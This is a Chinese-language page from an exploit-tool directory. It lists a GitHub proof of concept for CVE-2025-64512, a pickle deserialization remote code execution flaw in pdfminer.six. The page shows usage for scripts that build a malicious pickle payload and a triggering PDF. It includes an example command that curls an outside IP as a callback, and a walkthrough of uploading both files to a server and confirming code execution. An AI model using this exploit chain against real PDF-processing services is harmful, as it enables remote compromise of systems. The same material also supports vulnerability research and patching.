Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-64512 — CVE-2025-64512:pdfminer.six pickle反序列化远程代码执行;.pickle.gz + 带有自定义载荷的pdf生成器 | Kitploit
工具/GitHubGitHub/matesz44/cve-2025-64512
Payload生成漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubmatesz44/cve-2025-64512

CVE-2025-64512

CVE-2025-64512:pdfminer.six pickle反序列化远程代码执行;.pickle.gz + 带有自定义载荷的pdf生成器

查看仓库
4141个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-64512 在 pdfminer.six 中通过精心构造的 PDF 输入执行任意代码的 PoC

  • 基于 https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp

% python3 mkpickle.py 用法:mkpickle.py <命令> [输出文件] 例如:mkpickle.py 'curl [IP]:[端口]/rce' evil.pickle.gz

% python3 mkpdf.py -h 用法:mkpdf.py [-h] [-o 输出] [-p 路径] [-f] [pickle_name]

创建触发 pdfminer.six pickle 反序列化的 PDF (CVE-2025-64512)

位置参数: pickle_name Pickle 文件名(不含 .pickle.gz,默认:evil)

选项: -h, --help 显示此帮助信息并退出 -o, --output 输出 输出 PDF 文件名 (默认:exploit.pdf) -p, --路径 路径 pickle 的自定义绝对路径 (不含 .pickle.gz) -f, --fuzz 为所有常见绝对路径生成 PDF


python3 mkpickle.py 'touch /tmp/a' evil.pickle.gz [+] evil.pickle.gz (78 bytes) cmd: touch /tmp/a

(将 evil.pickle.gz 上传到 /var/www/html/files/evil.pickle.gz)

python3 mkpdf.py -o ex-poc.pdf -p '/var/www/html/files' evil [+] ex-poc.pdf -> /var/www/html/files/evil.pickle.gz

(上传 ex-poc.pdf 并触发/等待 PDF 处理)

ls -l /tmp/a -rw-r--r-- 1 ... ... 0 Jul 19 12:39 a

下载工具